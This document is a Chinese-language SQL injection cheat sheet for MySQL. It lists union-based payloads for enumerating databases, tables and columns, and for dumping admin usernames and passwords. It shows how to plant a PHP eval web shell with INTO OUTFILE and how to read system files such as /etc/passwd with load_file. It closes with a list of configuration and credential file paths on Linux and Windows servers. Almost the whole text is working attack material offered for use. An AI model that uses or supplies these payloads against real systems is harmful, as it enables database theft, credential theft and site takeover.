猜字段数, 返回正常说明字段数大于当前值.
order by num--
暴用户:数据库:版本
and 1=2 union select 1,concat(user(),0x3a,database(),0x3a,version()),3,4,5,...,n--
查看权限
and ord(mid(user(),1,1))=114--
返回正常说明是root权限.
Mysql 5以上版本多了一个information_schema表, 里面存储了所有的数据库信息, 利用这个就不用猜表名列名了, 可以直接暴出来
暴库名:
and 1=2 union select 1,SCHEMA_NAME,2,3,4,5,6,7 from information_schema.SCHEMATA limit 0,1--
其中limit 0,1表示从第0个开始取一条记录..limit 1,1就是从第1个取一条记录, 递增就可以得到所有的库名.
暴表名:
and 1=2 union select 1,TABLE_NAME,2,3,4,5,6,7 from information_schema.TABLES where table_schema=0x61646d696e limit 0,1--
其中0x61646d696e是admin的十六进制, 意思就是列出库admin中的表名.
暴列名:
and 1=2 union select 1,COLUMN_NAME,3,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1--
列出表admin中的列名.
有了以上数据, 就可以直接得到想要的数据了...
and 1=2 union select 1,concat(id,0x3a,username,0x3a,password),3,4,5,6,7 from admin.admin limit 0,1--
查询admin库中admin表id,username,password字段的值.
直接写马(Root权限)
条件:1、知道站点物理路径
2、有足够大的权限(可以用select …. from mysql.user测试)
3、magic_quotes_gpc()=OFF
select '<?php eval($_POST[cmd])?>' into outfile '物理路径'
and 1=2 union all select 一句话HEX值 into outfile '路径'
load_file()函数
使用方式:
and 1=2 union select 1,replace(load_file(0x2F6574632F706173737764),0x3c,0x20),3,4,5,6,7--
0x2F6574632F706173737764 是要查询的文件的
绝对路径的十六进制
常用的路径:
/user/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/user/local/apache2/conf/httpd.conf
/user/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //防火墙规则策略
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/sysdonfig/network-scripts/ifcfg-eth0 //查看IP
/etc/my.conf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件